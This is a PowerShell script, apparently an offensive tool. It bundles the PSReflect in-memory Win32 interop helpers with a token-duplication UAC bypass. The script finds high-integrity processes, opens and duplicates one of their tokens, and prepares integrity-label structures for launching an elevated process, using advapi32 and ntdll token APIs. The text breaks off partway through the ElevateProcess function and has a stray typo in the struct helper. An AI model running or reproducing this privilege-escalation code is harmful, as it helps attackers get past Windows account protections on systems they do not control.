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| function New-InMemoryModule | |
| { | |
| <# | |
| .SYNOPSIS | |
| Creates an in-memory assembly and module | |
| Author: Matthew Graeber (@mattifestation) | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Optional Dependencies: None | |
| .DESCRIPTION | |
| When defining custom enums, structs, and unmanaged functions, it is | |
| necessary to associate to an assembly module. This helper function | |
| creates an in-memory module that can be passed to the 'enum', | |
| 'struct', and Add-Win32Type functions. | |
| .PARAMETER ModuleName | |
| Specifies the desired name for the in-memory assembly and module. If | |
| ModuleName is not provided, it will default to a GUID. | |
| .EXAMPLE | |
| $Module = New-InMemoryModule -ModuleName Win32 | |
| #> | |
| Param | |
| ( | |
| [Parameter(Position = 0)] | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $ModuleName = [Guid]::NewGuid().ToString() | |
| ) | |
| $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) | |
| $LoadedAssemblies = $AppDomain.GetAssemblies() | |
| foreach ($Assembly in $LoadedAssemblies) { | |
| if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { | |
| return $Assembly | |
| } | |
| } | |
| $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) | |
| $Domain = $AppDomain | |
| $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') | |
| $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) | |
| return $ModuleBuilder | |
| } | |
| function func | |
| { | |
| Param | |
| ( | |
| [Parameter(Position = 0, Mandatory = $True)] | |
| [String] | |
| $DllName, | |
| [Parameter(Position = 1, Mandatory = $True)] | |
| [string] | |
| $FunctionName, | |
| [Parameter(Position = 2, Mandatory = $True)] | |
| [Type] | |
| $ReturnType, | |
| [Parameter(Position = 3)] | |
| [Type[]] | |
| $ParameterTypes, | |
| [Parameter(Position = 4)] | |
| [Runtime.InteropServices.CallingConvention] | |
| $NativeCallingConvention, | |
| [Parameter(Position = 5)] | |
| [Runtime.InteropServices.CharSet] | |
| $Charset, | |
| [String] | |
| $EntryPoint, | |
| [Switch] | |
| $SetLastError | |
| ) | |
| $Properties = @{ | |
| DllName = $DllName | |
| FunctionName = $FunctionName | |
| ReturnType = $ReturnType | |
| } | |
| if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } | |
| if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } | |
| if ($Charset) { $Properties['Charset'] = $Charset } | |
| if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } | |
| if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } | |
| New-Object PSObject -Property $Properties | |
| } | |
| function Add-Win32Type | |
| { | |
| <# | |
| .SYNOPSIS | |
| Creates a .NET type for an unmanaged Win32 function. | |
| Author: Matthew Graeber (@mattifestation) | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Optional Dependencies: func | |
| .DESCRIPTION | |
| Add-Win32Type enables you to easily interact with unmanaged (i.e. | |
| Win32 unmanaged) functions in PowerShell. After providing | |
| Add-Win32Type with a function signature, a .NET type is created | |
| using reflection (i.e. csc.exe is never called like with Add-Type). | |
| The 'func' helper function can be used to reduce typing when defining | |
| multiple function definitions. | |
| .PARAMETER DllName | |
| The name of the DLL. | |
| .PARAMETER FunctionName | |
| The name of the target function. | |
| .PARAMETER ReturnType | |
| The return type of the function. | |
| .PARAMETER ParameterTypes | |
| The function parameters. | |
| .PARAMETER NativeCallingConvention | |
| Specifies the native calling convention of the function. Defaults to | |
| stdcall. | |
| .PARAMETER Charset | |
| If you need to explicitly call an 'A' or 'W' Win32 function, you can | |
| specify the character set. | |
| .PARAMETER SetLastError | |
| Indicates whether the callee calls the SetLastError Win32 API | |
| function before returning from the attributed method. | |
| .PARAMETER Module | |
| The in-memory module that will host the functions. Use | |
| New-InMemoryModule to define an in-memory module. | |
| .PARAMETER Namespace | |
| An optional namespace to prepend to the type. Add-Win32Type defaults | |
| to a namespace consisting only of the name of the DLL. | |
| .EXAMPLE | |
| $Mod = New-InMemoryModule -ModuleName Win32 | |
| $FunctionDefinitions = @( | |
| (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), | |
| (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), | |
| (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) | |
| ) | |
| $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' | |
| $Kernel32 = $Types['kernel32'] | |
| $Ntdll = $Types['ntdll'] | |
| $Ntdll::RtlGetCurrentPeb() | |
| $ntdllbase = $Kernel32::GetModuleHandle('ntdll') | |
| $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') | |
| .NOTES | |
| Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 | |
| When defining multiple function prototypes, it is ideal to provide | |
| Add-Win32Type with an array of function signatures. That way, they | |
| are all incorporated into the same in-memory module. | |
| #> | |
| [OutputType([Hashtable])] | |
| Param( | |
| [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] | |
| [String] | |
| $DllName, | |
| [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] | |
| [String] | |
| $FunctionName, | |
| [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] | |
| [Type] | |
| $ReturnType, | |
| [Parameter(ValueFromPipelineByPropertyName = $True)] | |
| [Type[]] | |
| $ParameterTypes, | |
| [Parameter(ValueFromPipelineByPropertyName = $True)] | |
| [Runtime.InteropServices.CallingConvention] | |
| $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, | |
| [Parameter(ValueFromPipelineByPropertyName = $True)] | |
| [Runtime.InteropServices.CharSet] | |
| $Charset = [Runtime.InteropServices.CharSet]::Auto, | |
| [Parameter(ValueFromPipelineByPropertyName = $True)] | |
| [Switch] | |
| $SetLastError, | |
| [Parameter(Mandatory = $True)] | |
| [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] | |
| $Module, | |
| [ValidateNotNull()] | |
| [String] | |
| $Namespace = '' | |
| ) | |
| BEGIN | |
| { | |
| $TypeHash = @{} | |
| } | |
| PROCESS | |
| { | |
| if ($Module -is [Reflection.Assembly]) | |
| { | |
| if ($Namespace) | |
| { | |
| $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") | |
| } | |
| else | |
| { | |
| $TypeHash[$DllName] = $Module.GetType($DllName) | |
| } | |
| } | |
| else | |
| { | |
| # Define one type for each DLL | |
| if (!$TypeHash.ContainsKey($DllName)) | |
| { | |
| if ($Namespace) | |
| { | |
| $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') | |
| } | |
| else | |
| { | |
| $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') | |
| } | |
| } | |
| $Method = $TypeHash[$DllName].DefineMethod( | |
| $FunctionName, | |
| 'Public,Static,PinvokeImpl', | |
| $ReturnType, | |
| $ParameterTypes) | |
| # Make each ByRef parameter an Out parameter | |
| $i = 1 | |
| ForEach($Parameter in $ParameterTypes) | |
| { | |
| if ($Parameter.IsByRef) | |
| { | |
| [void] $Method.DefineParameter($i, 'Out', $Null) | |
| } | |
| $i++ | |
| } | |
| $DllImport = [Runtime.InteropServices.DllImportAttribute] | |
| $SetLastErrorField = $DllImport.GetField('SetLastError') | |
| $CallingConventionField = $DllImport.GetField('CallingConvention') | |
| $CharsetField = $DllImport.GetField('CharSet') | |
| if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } | |
| # Equivalent to C# version of [DllImport(DllName)] | |
| $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) | |
| $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, | |
| $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), | |
| [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), | |
| [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) | |
| $Method.SetCustomAttribute($DllImportAttribute) | |
| } | |
| } | |
| END | |
| { | |
| if ($Module -is [Reflection.Assembly]) | |
| { | |
| return $TypeHash | |
| } | |
| $ReturnTypes = @{} | |
| ForEach ($Key in $TypeHash.Keys) | |
| { | |
| $Type = $TypeHash[$Key].CreateType() | |
| $ReturnTypes[$Key] = $Type | |
| } | |
| return $ReturnTypes | |
| } | |
| } | |
| function psenum | |
| { | |
| <# | |
| .SYNOPSIS | |
| Creates an in-memory enumeration for use in your PowerShell session. | |
| Author: Matthew Graeber (@mattifestation) | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Optional Dependencies: None | |
| .DESCRIPTION | |
| The 'psenum' function facilitates the creation of enums entirely in | |
| memory using as close to a "C style" as PowerShell will allow. | |
| .PARAMETER Module | |
| The in-memory module that will host the enum. Use | |
| New-InMemoryModule to define an in-memory module. | |
| .PARAMETER FullName | |
| The fully-qualified name of the enum. | |
| .PARAMETER Type | |
| The type of each enum element. | |
| .PARAMETER EnumElements | |
| A hashtable of enum elements. | |
| .PARAMETER Bitfield | |
| Specifies that the enum should be treated as a bitfield. | |
| .EXAMPLE | |
| $Mod = New-InMemoryModule -ModuleName Win32 | |
| $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ | |
| UNKNOWN = 0 | |
| NATIVE = 1 # Image doesn't require a subsystem. | |
| WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. | |
| WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. | |
| OS2_CUI = 5 # Image runs in the OS/2 character subsystem. | |
| POSIX_CUI = 7 # Image runs in the Posix character subsystem. | |
| NATIVE_WINDOWS = 8 # Image is a native Win9x driver. | |
| WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. | |
| EFI_APPLICATION = 10 | |
| EFI_BOOT_SERVICE_DRIVER = 11 | |
| EFI_RUNTIME_DRIVER = 12 | |
| EFI_ROM = 13 | |
| XBOX = 14 | |
| WINDOWS_BOOT_APPLICATION = 16 | |
| } | |
| .NOTES | |
| PowerShell purists may disagree with the naming of this function but | |
| again, this was developed in such a way so as to emulate a "C style" | |
| definition as closely as possible. Sorry, I'm not going to name it | |
| New-Enum. :P | |
| #> | |
| [OutputType([Type])] | |
| Param | |
| ( | |
| [Parameter(Position = 0, Mandatory = $True)] | |
| [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] | |
| $Module, | |
| [Parameter(Position = 1, Mandatory = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $FullName, | |
| [Parameter(Position = 2, Mandatory = $True)] | |
| [Type] | |
| $Type, | |
| [Parameter(Position = 3, Mandatory = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| [Hashtable] | |
| $EnumElements, | |
| [Switch] | |
| $Bitfield | |
| ) | |
| if ($Module -is [Reflection.Assembly]) | |
| { | |
| return ($Module.GetType($FullName)) | |
| } | |
| $EnumType = $Type -as [Type] | |
| $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) | |
| if ($Bitfield) | |
| { | |
| $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) | |
| $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) | |
| $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) | |
| } | |
| ForEach ($Key in $EnumElements.Keys) | |
| { | |
| # Apply the specified enum type to each element | |
| $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) | |
| } | |
| $EnumBuilder.CreateType() | |
| } | |
| function field | |
| { | |
| Param | |
| ( | |
| [Parameter(Position = 0, Mandatory = $True)] | |
| [UInt16] | |
| $Position, | |
| [Parameter(Position = 1, Mandatory = $True)] | |
| [Type] | |
| $Type, | |
| [Parameter(Position = 2)] | |
| [UInt16] | |
| $Offset, | |
| [Object[]] | |
| $MarshalAs | |
| ) | |
| @{ | |
| Position = $Position | |
| Type = $Type -as [Type] | |
| Offset = $Offset | |
| MarshalAs = $MarshalAs | |
| } | |
| } | |
| function struct | |
| { | |
| <# | |
| .SYNOPSIS | |
| Creates an in-memory struct for use in your PowerShell session. | |
| Author: Matthew Graeber (@mattifestation) | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Optional Dependencies: field | |
| .DESCRIPTION | |
| The 'struct' function facilitates the creation of structs entirely in | |
| memory using as close to a "C style" as PowerShell will allow. Struct | |
| fields are specified using a hashtable where each field of the struct | |
| is comprosed of the order in which it should be defined, its .NET | |
| type, and optionally, its offset and special marshaling attributes. | |
| One of the features of 'struct' is that after your struct is defined, | |
| it will come with a built-in GetSize method as well as an explicit | |
| converter so that you can easily cast an IntPtr to the struct without | |
| relying upon calling SizeOf and/or PtrToStructure in the Marshal | |
| class. | |
| .PARAMETER Module | |
| The in-memory module that will host the struct. Use | |
| New-InMemoryModule to define an in-memory module. | |
| .PARAMETER FullName | |
| The fully-qualified name of the struct. | |
| .PARAMETER StructFields | |
| A hashtable of fields. Use the 'field' helper function to ease | |
| defining each field. | |
| .PARAMETER PackingSize | |
| Specifies the memory alignment of fields. | |
| .PARAMETER ExplicitLayout | |
| Indicates that an explicit offset for each field will be specified. | |
| .PARAMETER CharSet | |
| Dictates which character set marshaled strings should use. | |
| .EXAMPLE | |
| $Mod = New-InMemoryModule -ModuleName Win32 | |
| $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ | |
| DOS_SIGNATURE = 0x5A4D | |
| OS2_SIGNATURE = 0x454E | |
| OS2_SIGNATURE_LE = 0x454C | |
| VXD_SIGNATURE = 0x454C | |
| } | |
| $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ | |
| e_magic = field 0 $ImageDosSignature | |
| e_cblp = field 1 UInt16 | |
| e_cp = field 2 UInt16 | |
| e_crlc = field 3 UInt16 | |
| e_cparhdr = field 4 UInt16 | |
| e_minalloc = field 5 UInt16 | |
| e_maxalloc = field 6 UInt16 | |
| e_ss = field 7 UInt16 | |
| e_sp = field 8 UInt16 | |
| e_csum = field 9 UInt16 | |
| e_ip = field 10 UInt16 | |
| e_cs = field 11 UInt16 | |
| e_lfarlc = field 12 UInt16 | |
| e_ovno = field 13 UInt16 | |
| e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) | |
| e_oemid = field 15 UInt16 | |
| e_oeminfo = field 16 UInt16 | |
| e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) | |
| e_lfanew = field 18 Int32 | |
| } | |
| # Example of using an explicit layout in order to create a union. | |
| $TestUnion = struct $Mod TestUnion @{ | |
| field1 = field 0 UInt32 0 | |
| field2 = field 1 IntPtr 0 | |
| } -ExplicitLayout | |
| .NOTES | |
| PowerShell purists may disagree with the naming of this function but | |
| again, this was developed in such a way so as to emulate a "C style" | |
| definition as closely as possible. Sorry, I'm not going to name it | |
| New-Struct. :P | |
| #> | |
| [OutputType([Type])] | |
| Param | |
| ( | |
| [Parameter(Position = 1, Mandatory = $True)] | |
| [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] | |
| $Module, | |
| [Parameter(Position = 2, Mandatory = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $FullName, | |
| [Parameter(Position = 3, Mandatory = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| [Hashtable] | |
| $StructFields, | |
| [Reflection.Emit.PackingSize] | |
| $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, | |
| [Switch] | |
| $ExplicitLayout, | |
| [System.Runtime.InteropServices.CharSet] | |
| $CharSet = [System.Runtime.InteropServices.CharSet]::Ansi | |
| ) | |
| if ($Module -is [Reflection.Assembly]) | |
| { | |
| return ($Module.GetType($FullName)) | |
| } | |
| [Reflection.TypeAttributes] $StructAttributes = 'Class, | |
| Public, | |
| Sealed, | |
| BeforeFieldInit' | |
| if ($ExplicitLayout) | |
| { | |
| $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout | |
| } | |
| else | |
| { | |
| $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout | |
| } | |
| switch($CharSet) | |
| { | |
| Ansi | |
| { | |
| $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::AnsiClass | |
| } | |
| Auto | |
| { | |
| $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::AutoClass | |
| } | |
| Unicode | |
| { | |
| $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::UnicodeClass | |
| s} | |
| } | |
| $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) | |
| $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] | |
| $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) | |
| $Fields = New-Object Hashtable[]($StructFields.Count) | |
| # Sort each field according to the orders specified | |
| # Unfortunately, PSv2 doesn't have the luxury of the | |
| # hashtable [Ordered] accelerator. | |
| foreach ($Field in $StructFields.Keys) | |
| { | |
| $Index = $StructFields[$Field]['Position'] | |
| $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} | |
| } | |
| foreach ($Field in $Fields) | |
| { | |
| $FieldName = $Field['FieldName'] | |
| $FieldProp = $Field['Properties'] | |
| $Offset = $FieldProp['Offset'] | |
| $Type = $FieldProp['Type'] | |
| $MarshalAs = $FieldProp['MarshalAs'] | |
| $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') | |
| if ($MarshalAs) | |
| { | |
| $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) | |
| if ($MarshalAs[1]) | |
| { | |
| $Size = $MarshalAs[1] | |
| $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, | |
| $UnmanagedType, $SizeConst, @($Size)) | |
| } | |
| else | |
| { | |
| $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) | |
| } | |
| $NewField.SetCustomAttribute($AttribBuilder) | |
| } | |
| if ($ExplicitLayout) { $NewField.SetOffset($Offset) } | |
| } | |
| # Make the struct aware of its own size. | |
| # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! | |
| $SizeMethod = $StructBuilder.DefineMethod('GetSize', | |
| 'Public, Static', | |
| [Int], | |
| [Type[]] @()) | |
| $ILGenerator = $SizeMethod.GetILGenerator() | |
| # Thanks for the help, Jason Shirk! | |
| $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) | |
| $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, | |
| [Type].GetMethod('GetTypeFromHandle')) | |
| $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, | |
| [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) | |
| $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) | |
| # Allow for explicit casting from an IntPtr | |
| # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! | |
| $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', | |
| 'PrivateScope, Public, Static, HideBySig, SpecialName', | |
| $StructBuilder, | |
| [Type[]] @([IntPtr])) | |
| $ILGenerator2 = $ImplicitConverter.GetILGenerator() | |
| $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) | |
| $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) | |
| $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) | |
| $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, | |
| [Type].GetMethod('GetTypeFromHandle')) | |
| $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, | |
| [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) | |
| $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) | |
| $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) | |
| $StructBuilder.CreateType() | |
| } | |
| $Module = New-InMemoryModule -ModuleName Win32 | |
| $SE_GROUP = psenum $Module SE_GROUP UInt32 @{ | |
| DISABLED = 0x00000000 | |
| MANDATORY = 0x00000001 | |
| ENABLED_BY_DEFAULT = 0x00000002 | |
| ENABLED = 0x00000004 | |
| OWNER = 0x00000008 | |
| USE_FOR_DENY_ONLY = 0x00000010 | |
| INTEGRITY = 0x00000020 | |
| INTEGRITY_ENABLED = 0x00000040 | |
| RESOURCE = 0x20000000 | |
| LOGON_ID = 3221225472 | |
| } -Bitfield | |
| $SECURITY_ATTRIBUTES = struct $Module SECURITY_ATTRIBUTES @{ | |
| nLength = field 0 Int | |
| lpSecurityDescriptor = field 1 IntPtr | |
| bInheritHandle = field 2 Int | |
| } | |
| $SID_IDENTIFIER_AUTHORITY = struct $Module SID_IDENTIFIER_AUTHORITY @{ | |
| value = field 0 byte[] -MarshalAs @('ByValArray',6) | |
| } | |
| $SID_AND_ATTRIBUTES = struct $Module SID_AND_ATTRIBUTES @{ | |
| Sid = field 0 IntPtr | |
| Attributes = field 1 $SE_GROUP | |
| } | |
| $TOKEN_MANDATORY_LABEL = struct $Module TOKEN_MANDATORY_LABEL @{ | |
| Label = field 0 $SID_AND_ATTRIBUTES | |
| } | |
| $STARTUPINFO = struct $Module STARTUPINFO @{ | |
| cb = field 0 int | |
| lpReserved = field 1 string | |
| lpDesktop = field 2 string | |
| lpTitle = field 3 string | |
| dwX = field 4 int | |
| dwY = field 5 int | |
| dwXSize = field 6 int | |
| dwYSize = field 7 int | |
| dwXCountChars = field 8 int | |
| dwYCountChars = field 9 int | |
| dwFillAttribute = field 10 int | |
| dwFlags = field 11 int | |
| wShowWindow = field 12 int | |
| cbReserved2 = field 13 int | |
| lpReserved2 = field 14 IntPtr | |
| hStdInput = field 15 IntPtr | |
| hStdOutput = field 16 IntPtr | |
| hStdError = field 17 IntPtr | |
| } | |
| $PROCESS_INFORMATION = struct $Module PROCESS_INFORMATION @{ | |
| hProcess = field 0 IntPtr | |
| hThread = field 1 IntPtr | |
| dwProcessId = field 2 int | |
| dwThreadId = field 3 int | |
| } | |
| $FunctionDefinitions = @( | |
| (func advapi32 OpenProcessToken ([bool]) @( | |
| [IntPtr], | |
| [UInt32], | |
| [IntPtr].MakeByRefType() | |
| ) -EntryPoint OpenProcessToken -SetLastError), | |
| (func advapi32 GetTokenInformation ([bool]) @( | |
| [IntPtr], | |
| [Int32], | |
| [IntPtr], | |
| [UInt32], | |
| [UInt32].MakeByRefType() | |
| ) -EntryPoint GetTokenInformation -SetLastError), | |
| (func advapi32 GetSidSubAuthorityCount ([IntPtr]) @( | |
| [IntPtr] | |
| ) -EntryPoint GetSidSubAuthorityCount -SetLastError), | |
| (func advapi32 GetSidSubAuthority([IntPtr]) @( | |
| [IntPtr], | |
| [UInt32] | |
| ) -EntryPoint GetSidSubAuthority -SetLastError), | |
| (func advapi32 DuplicateTokenEx ([bool]) @( | |
| [IntPtr], | |
| [UInt32], | |
| [IntPtr], | |
| [UInt32], | |
| [UInt32], | |
| [IntPtr].MakeByRefType() | |
| ) -EntryPoint DuplicateTokenEx -SetLastError), | |
| (func advapi32 AllocateAndInitializeSid ([bool]) @( | |
| $SID_IDENTIFIER_AUTHORITY, | |
| [Byte], | |
| [UInt32], | |
| [UInt32], | |
| [UInt32], | |
| [UInt32], | |
| [UInt32], | |
| [UInt32], | |
| [UInt32], | |
| [UInt32], | |
| [IntPtr].MakeByRefType() | |
| ) -EntryPoint AllocateAndInitializeSid -SetLastError), | |
| (func advapi32 ImpersonateLoggedOnUser ([bool]) @( | |
| [IntPtr] | |
| )-EntryPoint ImpersonateLoggedOnUser -SetLastError), | |
| (func advapi32 CreateProcessWithLogonW ([bool]) @( | |
| [String], | |
| [String], | |
| [String], | |
| [UInt32], | |
| [String], | |
| [String], | |
| [UInt32], | |
| [UInt32], | |
| [String], | |
| [IntPtr], | |
| [IntPtr].MakeByRefType() | |
| )-EntryPoint CreateProcessWithLogonW -SetLastError), | |
| (func kernel32 OpenProcess ([IntPtr]) @( | |
| [UInt32], | |
| [bool], | |
| [UInt32] | |
| )-EntryPoint OpenProcess -SetLastError), | |
| (func kernel32 TerminateProcess ([bool]) @( | |
| [IntPtr], | |
| [UInt32] | |
| )-EntryPoint TerminateProcess -SetLastError), | |
| (func ntdll NtSetInformationToken ([int]) @( | |
| [IntPtr], | |
| [UInt32], | |
| [IntPtr], | |
| [UInt32] | |
| )-EntryPoint NtSetInformationToken -SetLastError), | |
| (func ntdll NtFilterToken ([int]) @( | |
| [IntPtr], | |
| [UInt32], | |
| [IntPtr], | |
| [IntPtr], | |
| [IntPtr], | |
| [IntPtr].MakeByRefType() | |
| )-EntryPoint NtFilterToken -SetLastError) | |
| ) | |
| $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'Win32' | |
| $Advapi32 = $Types['advapi32'] | |
| $Kernel32 = $Types['kernel32'] | |
| $ntdll = $Types['ntdll'] | |
| function EnumProcesses(){ | |
| Get-Process | %{ | |
| # Get handle to the process | |
| $ProcHandle = $Kernel32::OpenProcess(0x00001000, $false, $_.Id) | |
| if($ProcHandle -eq 0){ | |
| #echo "[!] Unable to open process`n" | |
| return | |
| } | |
| # Get handle to the process token | |
| $hTokenHandle = 0 | |
| $CallResult = $Advapi32::OpenProcessToken($ProcHandle, 0x02000000, [ref]$hTokenHandle) | |
| if($CallResult -eq 0){ | |
| return | |
| } | |
| # Call GetTokenInformation with TokenInformationClass = 25 (TokenIntegrityLevel) | |
| [int]$Length = 0 | |
| $CallResult = $Advapi32::GetTokenInformation($hTokenHandle, 25, [IntPtr]::Zero, $Length, [ref]$Length) | |
| # After we get the buffer length alloc and call again | |
| [IntPtr]$TokenInformation = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Length) | |
| $CallResult = $Advapi32::GetTokenInformation($hTokenHandle, 25, $TokenInformation, $Length, [ref]$Length) | |
| [System.IntPtr] $pSid1 = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($TokenInformation) | |
| [int]$IntegrityLevel = [System.Runtime.InteropServices.Marshal]::ReadInt32($advapi32::GetSidSubAuthority($pSid1, ([System.Runtime.InteropServices.Marshal]::ReadByte($Advapi32::GetSidSubAuthorityCount($pSid1)) - 1))) | |
| if($IntegrityLevel -eq 12288){ | |
| return [int]$_.Id | |
| } | |
| } | |
| } | |
| function ElevateProcess($HIProc,$Binary, $Arguments){ | |
| $PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000 | |
| $bInheritHandle = $false | |
| $hProcess = $Kernel32::OpenProcess($PROCESS_QUERY_LIMITED_INFORMATION, $bInheritHandle, $HIProc[0]) | |
| if ($hProcess -ne 0) { | |
| Write-Verbose "[*] Successfully acquired $((Get-Process -Id $HIProc).Name) handle" | |
| } else { | |
| Write-Verbose "[!] Failed to get process token!`n" | |
| Break | |
| } | |
| $hToken = [IntPtr]::Zero | |
| if($Advapi32::OpenProcessToken($hProcess, 0x02000000, [ref]$hToken)) { | |
| Write-Verbose "[*] Opened process token" | |
| } else { | |
| Write-Verbose "[!] Failed open process token!`n" | |
| Break | |
| } | |
| $hNewToken = [IntPtr]::Zero | |
| $SEC_ATTRIBUTES_Struct = [Activator]::CreateInstance($SECURITY_ATTRIBUTES) | |
| [IntPtr]$SEC_ATTRIBUTES_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SECURITY_ATTRIBUTES::GetSize()) | |
| [Runtime.InteropServices.Marshal]::StructureToPtr($SEC_ATTRIBUTES_Struct, $SEC_ATTRIBUTES_PTR,$False) | |
| if($Advapi32::DuplicateTokenEx($hToken,0xf01ff,$SEC_ATTRIBUTES_PTR,2,1,[ref]$hNewToken)) { | |
| Write-Verbose "[*] Duplicated process token" | |
| } else { | |
| Write-Verbose "[!] Failed to duplicate process token!`n" | |
| Break | |
| } | |
| $SIA_Struct = [Activator]::CreateInstance($SID_IDENTIFIER_AUTHORITY) | |
| #0x10 == SECURITY_MANDATORY_LABEL_AUTHORITY | |
| $SIA_Struct.Value = [byte[]](0x0, 0x0, 0x0, 0x0, 0x0, 0x10) | |
| [IntPtr]$SIA_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SID_IDENTIFIER_AUTHORITY::GetSize()) | |
| [Runtime.InteropServices.Marshal]::StructureToPtr($SIA_Struct,$SIA_PTR,$False) | |
| $pSid = [System.IntPtr]::Zero | |
| $Advapi32::AllocateAndInitializeSid($SIA_PTR,1,0x2000,0,0,0,0,0,0,0,[ref]$pSid) | |
| $SID_AND_ATTRIBUTES_Struct = [Activator]::CreateInstance($SID_AND_ATTRIBUTES) | |
| $SID_AND_ATTRIBUTES_Struct.Sid = $pSid | |
| $SID_AND_ATTRIBUTES_Struct.Attributes = 0x20 | |
| [IntPtr]$SID_AND_ATTRIBUTES_PTR = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SID_AND_ATTRIBUTES::GetSize()) | |
| [Runtime.InteropServices.Marshal]::StructureToPtr($SID_AND_ATTRIBUTES_Struct, $SID_AND_ATTRIBUTES_PTR,$False) | |
| $TOKEN_MANDATORY_LABEL_Struct = [Activator]::CreateInstance($TOKEN_MANDATORY_LABEL) | |
